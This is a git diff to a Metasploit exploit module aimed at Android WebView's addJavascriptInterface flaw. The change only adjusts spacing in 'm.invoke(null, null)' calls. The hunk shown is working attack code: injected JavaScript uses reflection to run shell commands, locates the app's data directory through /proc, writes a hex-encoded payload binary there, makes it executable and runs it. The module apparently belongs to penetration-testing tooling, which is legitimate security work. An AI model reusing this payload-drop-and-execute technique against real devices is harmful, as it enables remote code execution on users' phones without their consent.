diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb
index dd11132c36..714901332c 100644
--- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb
+++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb
@@ -87,15 +87,15 @@ class Metasploit3 < Msf::Exploit::Remote
         var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
         
         // get the process name, which will give us our data path
-        var p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
+        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
         var ch, path = '/data/data/';
         while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
         path += '/#{Rex::Text.rand_text_alpha(8)}';
 
         // build the binary, chmod it, and execute it
-        m.invoke(null,null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
-        m.invoke(null,null).exec(['chmod', '700', path]).waitFor();
-        m.invoke(null,null).exec([path]);
+        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
+        m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
+        m.invoke(null, null).exec([path]);
 
         return true;
       }